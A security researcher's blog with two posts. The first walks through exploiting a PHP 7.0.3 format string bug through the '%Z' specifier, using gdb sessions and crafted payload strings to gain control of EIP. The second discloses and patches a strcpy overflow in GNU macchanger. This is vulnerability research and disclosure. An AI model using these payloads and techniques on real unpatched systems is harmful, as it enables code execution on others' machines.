Thursday, July 28, 2016

Exploiting PHP Format String Bugs the Easy Way

I’ve been spending a lot of time poking through the PHP source-code lately, and twice now I’ve come across format string vulnerabilities. [1][2]  I don’t consider format string bugs particularly interesting in-and-of themselves (they’re well known, and well understood), but it turns out PHP format strings are special.  PHP adds functionality that makes these bugs a breeze to exploit.  Let me explain…

First though, full disclosure: this technique is not entirely my own.  The original idea was inspired by Stefan Esser (@i0n1c) back in November of 2015. [3]  If you enjoy security research, especially relating to PHP, I would highly recommend you follow him!

Ok, PHP handles most format strings using custom internal functions.  There are lots of these defined all throughout the code.  For instance let’s grep for function definitions containing a format string as an argument.  This isn’t perfect or scientific, but it gives you an idea.

andrew@thinkpad /tmp % grep -PRHn "const char ?\* ?(format|fmt)" ./php-7.0.3 | wc -l
149

I won’t post all of those, but here are two examples.  In fact, these are the same functions that were erroneously called in the two bugs linked below.

static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...)
ZEND_API ZEND_COLD zend_object *zend_throw_exception_ex(zend_class_entry *exception_ce, zend_long code, const char *format, ...)
... etc ...

Most, if not all, of these internal format string functions ultimately call either “xbuf_format_converter” (defined in main/spprintf.c), or “format_converter” (defined in main/snprintf.c).  These two functions actually do the work of walking along the string and substituting specifiers with their corresponding values.  This would be totally uninteresting, except for the fact that PHP adds one block that you don’t see in other format string implementations.  From “main/spprintf.c”…

case 'Z': {
    zvp = (zval*) va_arg(ap, zval*);
    free_zcopy = zend_make_printable_zval(zvp, &zcopy);
    if (free_zcopy) {
        zvp = &zcopy;
    }
    s_len = Z_STRLEN_P(zvp);
    s = Z_STRVAL_P(zvp);
    if (adjust_precision && precision < s_len) {
        s_len = precision;
    }
    break;
}

This special “%Z” option is designed to convert what’s known as a “zval” to a string. A zval (defined in Zend/zend_types.h) is simply a structure containing information about a variable, such as its type and value. Here is its definition, watered down for clarity…

typedef union _zend_value {
    zend_string      *str;
    zend_array       *arr;
    zend_object      *obj;
    ... lots of possible types ...
} zend_value;
 
struct _zval_struct {
    zend_value        value;
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)
        } v;
        uint32_t type_info;
    } u1;
    ... uninteresting bits removed ...
 
};

As you can see, a zval contains type information, as well as an element (value) which can be interpreted in any number of different ways depending on the declared type. Now… as long as the code above is operating on a real zval, (which is assumed to be the case since the “%Z” is only used internally), everything will work fine. However, if we are able to specify a “%Z” on data we control, as is the case with format string bugs, we can force PHP to do unexpected things. So… lets assume we can control the data; what’s actually going on here? If you notice above, when “%Z” is specified, PHP calls “zend_make_printable_zval” on our fake zval, which eventually calls “_zval_get_string_func” (defined in Zend/zend_operators.c).  This function contains a switch/case operating on the “type” field of the zval struct.  Most of the cases are boring, converting integers to strings and such, but one stands out: IS_OBJECT.

case IS_OBJECT: {
   zval tmp;
   if (Z_OBJ_HT_P(op)->cast_object) {
      if (Z_OBJ_HT_P(op)->cast_object(op, &tmp, IS_STRING) == SUCCESS) {
... etc ...

Function pointers!  That looks juicy!  Let’s investigate those macros.  From Zend/zend_types.h:

#define Z_OBJ(zval)        (zval).value.obj
#define Z_OBJ_P(zval_p)    Z_OBJ(*(zval_p))
 
#define Z_OBJ_HT(zval)     Z_OBJ(zval)->handlers
#define Z_OBJ_HT_P(zval_p) Z_OBJ_HT(*(zval_p))

Oh goodie! :) If we use the “%Z” operator on memory we control, we will control those function pointers too!  All we need to do is arrange a fake zval in memory such that they become something useful.  Since we know what the struct(s) should look like, this shouldn’t be too hard.

In order to test this, we’ll use the SNMP error format string bug (php bug #71704) [2]. The trigger looks like this:

$session = new SNMP(SNMP::VERSION_3, "127.0.0.1:161", "public");
$session->exceptions_enabled = SNMP::ERRNO_ANY;
try {
    $session->get($argv[1]); // FORMAT STRING IN ARGV[1]
} catch (SNMPException $e) {
    echo $e->getMessage();
}

Let’s start by poking around memory to find a pointer to our data.  We’ll use a series of “%d”s to walk down the stack, followed by “w00t%swoot”.  If we ever see our data show up between the “woot” flags, we win!

andrew@thinkpad /tmp % for i in {0..15}; do \
> echo -e "\n=========$i=========="; \
> ./php-7.0.3/sapi/cli/php ./snmp.php \
>     `perl -e 'print "%d"x'$i' . "woot%swoot";'`; \
> done
 
=========0==========
Invalid object identifier: woot0�%�
                                   �'�
                                      �'�U�woot
=========1==========
woot
=========2==========
Invalid object identifier: -1077237472-1216724645woot �%��Iwoot
=========3==========
Segmentation fault (core dumped)
 
=========4==========
Invalid object identifier: -1079040880-1216933541-12561159361wootwoot
=========5==========
Segmentation fault (core dumped)
 
=========6==========
Invalid object identifier: -1074727184-1216655013-12561159361-12561159361woot(null)woot
=========7==========
Invalid object identifier: -1076316912-1217130149-12561159361-125611593610woowoot
=========8==========
Invalid object identifier: -1080902384-1217461925-12582130881-125821308810-1257840348woot�� ��$�woot
=========9==========
Invalid object identifier: -1075700320-1217191589-12561159361-125611593610-1255743196136380004woot$�&�woot
=========10==========
Invalid object identifier: -1079922576-1217162917-12561159361-125611593610-1255743196136380004-1256115968woot(null)woot
=========11==========
Segmentation fault (core dumped)
 
=========12==========
Invalid object identifier: -1075153200-1217171109-12561159361-125611593610-1255743196136380004-1256115968032wootInvalid object identifier: %swoot
=========13==========
Invalid object identifier: -1081187680-1217064613-12561159361-125611593610-1255743196136380004-1256115968032142166864woot%d%d%d%d%d%d%d%d%d%d%d%d%dwoot%swootwoot
=========14==========
Invalid object identifier: -1078765664-1216839333-12561159361-125611593610-1255743196136380004-1256115968032142166864-1255809008wootwoot
=========15==========
Invalid object identifier: -1075294480-1216716453-12561159361-125611593610-1255743196136380004-1256115968032142166864-1255809008-1255702516woot�woottnvalid object identifier: -1079248000woot�åN

Aha!!! If you didn’t already see it, check out number 13.  After popping 13 values of the stack, the 14th value was a pointer to our string. Switching the “%s” with a “%08x” reveals the pointer to be 0xb5a5e010.  It doesn’t seem to change much, so for now let’s ignore the obvious ASLR problem and focus on getting EIP.

First let’s open it up in gdb and see what’s happening.  We know that PHP will be expecting a zval at the pointer, so let’s add some junk data to the start of our string.  This will be our fake zval.  Based on the struct definition above, we know the 9th byte represents the type.  In this case we’d like to represent the OBJECT type, which is 0x08.  Let’s also add some extra padding so that we have room to play as we go. All said, our fake zval will look like:

[ fake zval ............ ][ junk ......][ format string  ]
[ 8bytes padding ][ 0x08 ][some padding][ %d x 13 ][ %Z  ]

andrew@thinkpad /tmp % gdb -q ./php-7.0.3/sapi/cli/php 
Reading symbols from ./php-7.0.3/sapi/cli/php...done.
(gdb) r ./snmp.php `echo -e "AAAABBBB\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
Starting program: /home/ubuntu/php-7.0.3/sapi/cli/php ./snmp.php `echo -e "AAAABBBB\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
 
Program received signal SIGSEGV, Segmentation fault.
0x08301482 in _zval_get_string_func (op=op@entry=0xb5a5e010)
    at /home/ubuntu/php-7.0.3/Zend/zend_operators.c:838
838             if (Z_OBJ_HT_P(op)->cast_object) {
(gdb) x/1i $eip
=> 0x8301482 <_zval_get_string_func>:  mov    0x10(%ebx),%edx
(gdb) i r $ebx
ebx            0x41414141   1094795585
(gdb)

Nice! We landed just where we wanted to, and now PHP is trying to dereference our AAAA. We’d like to give it a valid address, so how about the address of BBBB directly after? Math time: if AAAA is at 0xb5a5e010, that means BBBB is at 0xb5a5e014. However, the instruction isn’t dereferencing the pointer exactly, but rather, 16 bytes past it (0x10). So we need to subtract 0x10 from our pointer to account, giving us 0xb5a5e004. Let’s try it. Don’t forget to reverse it, since x86 is little endian.

andrew@thinkpad /tmp % gdb -q ./php-7.0.3/sapi/cli/php 
Reading symbols from ./php-7.0.3/sapi/cli/php...done.
(gdb) r ./snmp.php `echo -e "\x04\xe0\xa5\xb5BBBB\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
Starting program: /home/ubuntu/php-7.0.3/sapi/cli/php ./snmp.php `echo -e "\x04\xe0\xa5\xb5BBBB\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
 
Program received signal SIGSEGV, Segmentation fault.
0x08301485 in _zval_get_string_func (op=op@entry=0xb5a5e010)
    at /home/ubuntu/php-7.0.3/Zend/zend_operators.c:838
838             if (Z_OBJ_HT_P(op)->cast_object) {
(gdb) x/1i $eip
=> 0x8301485 <_zval_get_string_func>:  mov    0x54(%edx),%eax
(gdb) i r $ebx $edx
ebx            0xb5a5e004   -1247420412
edx            0x42424242   1111638594
(gdb)

Sweet! It used our pointer and is trying to dereference BBBB. Rinse and repeat. This time let’s target CCCC. Since they’re 9 bytes into the string, the pointer will be 0xb5a5e019, however again we need to account for the offset. This time it’s 0x54. Simple subtraction gives us 0xb5a5efc5. Let’s try it.

andrew@thinkpad /tmp % gdb -q ./php-7.0.3/sapi/cli/php 
Reading symbols from ./php-7.0.3/sapi/cli/php...done.
(gdb) r ./snmp.php `echo -e "\x04\xe0\xa5\xb5\xc5\xdf\xa5\xb5\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
Starting program: /home/ubuntu/php-7.0.3/sapi/cli/php ./snmp.php `echo -e "\x04\xe0\xa5\xb5\xc5\xdf\xa5\xb5\x08CCCC%d%d%d%d%d%d%d%d%d%d%d%d%d%Z"`
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) i r $ebx $edx $eip
ebx            0xb5a5e004   -1247420412
edx            0xbfffb060   -1073762208
eip            0x43434343   0x43434343
(gdb)

We win! With control of EIP it’s essentially game over. The only big problem still standing in our way is ASLR. Considering the wide variation of PHP binaries that exist in the wild as well as the prevalence of ASLR, this would normally be quite tricky. But we have another trick up our sleeve. We can cheat!

As long as we’re careful, an invalid format string won’t necessarily crash the application, even if it misbehaves. With a little finesse we can use the same format string bug to leak an address. Once we know the address of a string, we can patch it dynamically and then run it through again; this time for real. The challenge then becomes modifying the string without modifying its location. I’ll leave that as an exercise for the reader. :)

If you’d like to see a working exploit for this issue, mine is public on exploit-db. [4] It bypasses ASLR and NX beautifully. All the pointers and ROP gadgets are from a custom binary, so you’ll still need to put your own work in, but it’s a start. Enjoy!

[1]. https://bugs.php.net/bug.php?id=71105
[2]. https://bugs.php.net/bug.php?id=71704
[3]. https://twitter.com/i0n1c/status/664706994478161920
[4]. https://www.exploit-db.com/exploits/39645/

Sunday, April 17, 2016

GNU macchanger <= 1.6.0 Heap Buffer Overflow

I was poking around the GNU macchanger source code the other day for fun and happened across this little gem. Unfortunately modern heap-corruption protections make exploitation extremely difficult, if not impossible (to the best of my knowledge), and even then, you would only be able to gain the privileges of the current user. But what the heck, let’s dive in anyway! A little throwback to the glory days of stack smashing.

In case you aren’t aware, GNU macchanger is a simple program written in C which alters the MAC address of a given network interface. How it does this is beyond the scope of this blog-post, but it can be useful if you need to, for instance, troll sysadmins by bypassing their impenetrable MAC-address-whitelist. Let me also shout out to macchanger’s author, Alvaro Lopez, for the fantastic work. Over-all, macchanger is a very useful bit of code, and I can’t thank you enough. I will be submitting a patch to resolve this issue as soon as I’m done typing here. Anyone wishing to download a copy of the code can do so at: https://ftp.gnu.org/gnu/macchanger/

The issue exists in the file netinfo.c:38-58, in the function mc_net_info_new(). Relevant code…

net_info_t *
mc_net_info_new (const char *device)
{
        net_info_t *new = (net_info_t *) malloc (sizeof(net_info_t));
 
        new->sock = socket (AF_INET, SOCK_DGRAM, 0);

        if (new->sock<0) {
                perror ("[ERROR] Socket");
                free(new);
                return NULL;
        }

        strcpy (new->dev.ifr_name, device);

        if (ioctl(new->sock, SIOCGIFHWADDR, &new->dev) < 0) {
                perror ("[ERROR] Set device name");
                free(new);
                return NULL;
        }
 
        return new;
}

I could spend the next 10 paragraphs explaining to you why strcpy()’ing arbitrary data into a fixed length character array is a bad idea, but AlephOne beat me to it back in Phrack 49 (1996). So instead let’s just take a closer look at what’s getting clobbered.

This function accepts one const char * argument called device. This value will be taken from argv[argc-1] (the last command line argument), and represents the network interface macchanger should be working with.

This function declares one local variable of type net_info_t * called new. net_info_t is a struct, defined in netinfo.h:33-36. Relevant code…

typedef struct {
        int sock;
        struct ifreq dev;
} net_info_t;

IF_NAMESIZE is previously define as 16 on line 32 of the same file. This ultimately means that new->dev.ifr_name (which strcpy() is going to use as the copy destination) will only be 16 bytes, whereas device, (our command line argument), can be arbitrarily long. And that leads to large quantities of fun. :) Relevant…

andrew@WOPR ~ % macchanger BBBBBBBBBBBBBBBB
*** buffer overflow detected ***: macchanger terminated
======= Backtrace: =========
/usr/lib/libc.so.6(+0x73f8e)[0x7f9e47940f8e]
/usr/lib/libc.so.6(__fortify_fail+0x37)[0x7f9e479c6e57]
/usr/lib/libc.so.6(+0xf7f60)[0x7f9e479c4f60]
macchanger[0x40198f]
macchanger[0x400ecc]
/usr/lib/libc.so.6(__libc_start_main+0xf0)[0x7f9e478ed000]
macchanger[0x4010e5]
======= Memory map: ========
00400000-00403000 r-xp 00000000 fe:01 2292415                            /usr/bin/macchanger
00602000-00603000 r--p 00002000 fe:01 2292415                            /usr/bin/macchanger
00603000-00604000 rw-p 00003000 fe:01 2292415                            /usr/bin/macchanger
022e8000-0238d000 rw-p 00000000 00:00 0                                  [heap]
7f9e476b7000-7f9e476cd000 r-xp 00000000 fe:01 2246088                    /usr/lib/libgcc_s.so.1
7f9e476cd000-7f9e478cc000 ---p 00016000 fe:01 2246088                    /usr/lib/libgcc_s.so.1
7f9e478cc000-7f9e478cd000 rw-p 00015000 fe:01 2246088                    /usr/lib/libgcc_s.so.1
7f9e478cd000-7f9e47a71000 r-xp 00000000 fe:01 2231574                    /usr/lib/libc-2.19.so
7f9e47a71000-7f9e47c71000 ---p 001a4000 fe:01 2231574                    /usr/lib/libc-2.19.so
7f9e47c71000-7f9e47c75000 r--p 001a4000 fe:01 2231574                    /usr/lib/libc-2.19.so
7f9e47c75000-7f9e47c77000 rw-p 001a8000 fe:01 2231574                    /usr/lib/libc-2.19.so
7f9e47c77000-7f9e47c7b000 rw-p 00000000 00:00 0
7f9e47c7b000-7f9e47c9c000 r-xp 00000000 fe:01 2231549                    /usr/lib/ld-2.19.so
7f9e47e1c000-7f9e47e64000 rw-p 00000000 00:00 0
7f9e47e9a000-7f9e47e9b000 rw-p 00000000 00:00 0
7f9e47e9b000-7f9e47e9c000 r--p 00020000 fe:01 2231549                    /usr/lib/ld-2.19.so
7f9e47e9c000-7f9e47e9d000 rw-p 00021000 fe:01 2231549                    /usr/lib/ld-2.19.so
7f9e47e9d000-7f9e47e9e000 rw-p 00000000 00:00 0
7fffa1aca000-7fffa1aeb000 rw-p 00000000 00:00 0                          [stack]
7fffa1bfc000-7fffa1bfe000 r-xp 00000000 00:00 0                          [vdso]
7fffa1bfe000-7fffa1c00000 r--p 00000000 00:00 0                          [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
[1]    5575 abort (core dumped)  macchanger BBBBBBBBBBBBBBBB

Here's the patch...

--- /tmp/macchanger-1.6.0/src/netinfo.c 2013-03-16 17:56:37.000000000 -0500
+++ /tmp/macchanger-1.6.0-patched/src/netinfo.c 2014-08-23 16:25:31.929638204 -0500
@@ -47,6 +47,12 @@
        return NULL;
    }
 
+   if (strlen(device) >= IFNAMSIZ) {
+       fprintf (stderr, "[ERROR] Device name too long\n");
+       free(new);
+       return NULL;
+   }
+
    strcpy (new->dev.ifr_name, device);
    if (ioctl(new->sock, SIOCGIFHWADDR, &new->dev) < 0) {
        perror ("[ERROR] Set device name");

Remember kids… Just say no to strcpy()